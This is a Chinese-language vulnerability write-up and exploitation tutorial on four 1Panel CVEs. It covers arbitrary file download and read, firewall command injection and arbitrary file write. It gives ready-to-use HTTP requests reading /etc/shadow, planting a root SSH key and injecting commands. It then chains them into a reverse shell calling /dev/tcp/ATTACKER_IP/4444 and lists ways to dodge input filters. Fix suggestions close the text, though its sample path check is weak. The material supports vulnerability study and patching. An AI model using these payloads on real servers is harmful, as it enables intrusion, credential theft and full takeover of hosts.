1Panel系列漏洞分析
字数 1333 2025-08-23 18:31:09
1Panel系列漏洞分析与利用教学文档
1. 1Panel框架概述
1Panel是一个基于Gin框架开发的Web管理面板,主要用于服务器管理。其核心功能包括文件管理、防火墙管理、容器管理等。
1.1 路由架构分析
1Panel使用Gin框架构建,主要路由初始化在server.go和router包中:
func Start() {
// 初始化各种组件
rootRouter := router.Routers()
address := fmt.Sprintf(":%s", global.CONF.System.Port)
s := endless.NewServer(address, rootRouter)
// 启动HTTP/HTTPS服务
}
func Routers() *gin.Engine {
Router := gin.Default()
// 中间件配置
systemRouter := rou.RouterGroupApp
PrivateGroup := Router.Group("/api/v1")
{
systemRouter.InitBaseRouter(PrivateGroup)
systemRouter.InitFileRouter(PrivateGroup)
systemRouter.InitHostRouter(PrivateGroup)
// 其他路由初始化
}
return Router
}
2. 漏洞分析
2.1 任意文件下载漏洞 (CVE-2023-39965)
漏洞位置:files路由组中的/download/bypath路由
漏洞代码:
func (b *BaseApi) DownloadFile(c *gin.Context) {
var req dto.FilePath
if err := c.ShouldBindJSON(&req); err != nil {
// 错误处理
}
if err := global.VALID.Struct(req); err != nil {
// 错误处理
}
c.File(req.Path) // 直接使用用户提供的路径
}
漏洞原理:
- 直接使用用户提供的
Path参数调用c.File() - 未对路径进行任何过滤或限制
- 可读取服务器上任意文件
利用方法:
POST /api/v1/files/download/bypath
Content-Type: application/json
{
"path": "/etc/passwd"
}
2.2 任意文件读取漏洞 (CVE-2023-39964)
漏洞位置:files路由组中的/loadfile路由
漏洞代码:
func (b *BaseApi) LoadFromFile(c *gin.Context) {
var req dto.FilePath
if err := c.ShouldBindJSON(&req); err != nil {
// 错误处理
}
if err := global.VALID.Struct(req); err != nil {
// 错误处理
}
content, err := os.ReadFile(req.Path) // 直接读取用户提供的路径
if err != nil {
// 错误处理
}
helper.SuccessWithData(c, string(content))
}
漏洞原理:
- 直接使用
os.ReadFile()读取用户提供的路径 - 未对路径进行过滤
- 可读取服务器上任意文件内容
利用方法:
POST /api/v1/files/loadfile
Content-Type: application/json
{
"path": "/etc/shadow"
}
2.3 任意命令注入漏洞 (CVE-2023-37477)
漏洞位置:hosts路由组中的/firewall/ip路由
漏洞代码:
func (f *Firewall) RichRules(rule FireInfo, operation string) error {
// ...
stdout, err := cmd.Execf("firewall-cmd --zone=public --%s-rich-rule '%s' --permanent",
operation, ruleStr)
// ...
}
漏洞原理:
- 用户提供的
Address参数最终拼接进firewall-cmd命令 - 未对输入进行过滤
- 可通过命令注入执行任意系统命令
利用方法:
POST /api/v1/hosts/firewall/ip
Content-Type: application/json
{
"address": "127.0.0.1;id;",
"operation": "add",
"strategy": "accept"
}
2.4 任意文件写入漏洞 (CVE-2023-39966)
漏洞位置:files路由组中的/save路由
漏洞代码:
func (f *FileService) SaveContent(edit request.FileEdit) error {
info, err := files.NewFileInfo(files.FileOption{
Path: edit.Path,
Expand: false, // 不展开路径
})
fo := files.NewFileOp()
return fo.WriteFile(edit.Path, strings.NewReader(edit.Content), info.FileMode)
}
漏洞原理:
- 用户可控制写入的文件路径和内容
- 虽然
Expand: false限制了相对路径,但仍可使用绝对路径 - 可覆盖服务器上任意文件
利用方法:
POST /api/v1/files/save
Content-Type: application/json
{
"path": "/root/.ssh/authorized_keys",
"content": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ..."
}
3. 漏洞利用实战
3.1 组合利用实现权限提升
-
信息收集:
- 使用任意文件读取获取
/etc/passwd了解系统用户 - 读取
/proc/self/environ获取环境变量
- 使用任意文件读取获取
-
写入SSH公钥:
- 生成SSH密钥对:
ssh-keygen -t rsa -b 4096 - 使用任意文件写入将公钥写入
/root/.ssh/authorized_keys
- 生成SSH密钥对:
-
获取Shell:
- 使用命令注入执行反向Shell:
{ "address": "127.0.0.1;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1;", "operation": "add", "strategy": "accept" }
3.2 防御绕过技巧
-
路径限制绕过:
- 使用绝对路径
- 使用符号链接目标文件
-
命令注入技巧:
- 使用
$(cmd)代替;cmd; - 使用反引号
`cmd` - 使用编码或混淆的命令
- 使用
4. 修复建议
-
输入验证:
- 对所有用户输入进行严格验证
- 使用白名单限制允许的字符和格式
-
安全函数:
- 文件操作使用安全函数限制路径
- 命令执行使用参数化查询
-
权限控制:
- 运行服务使用最低权限用户
- 限制可访问的文件系统区域
-
具体修复代码示例:
// 文件操作添加路径检查
func safePath(path string) error {
if !filepath.IsAbs(path) {
return errors.New("relative paths not allowed")
}
if strings.Contains(path, "..") {
return errors.New("parent directory traversal not allowed")
}
return nil
}
// 命令执行使用exec.Command
func safeExec(command string, args ...string) (string, error) {
cmd := exec.Command(command, args...)
out, err := cmd.CombinedOutput()
return string(out), err
}
5. 参考资源
-
官方漏洞公告:
- CVE-2023-39965
- CVE-2023-39964
- CVE-2023-37477
- CVE-2023-39966
-
相关技术:
- Gin框架安全实践
- Linux文件系统权限模型
- 防火墙命令注入防御
-
测试工具:
- Swagger UI (用于构造API请求)
- Burp Suite (用于拦截和修改请求)
- Nmap (用于服务发现)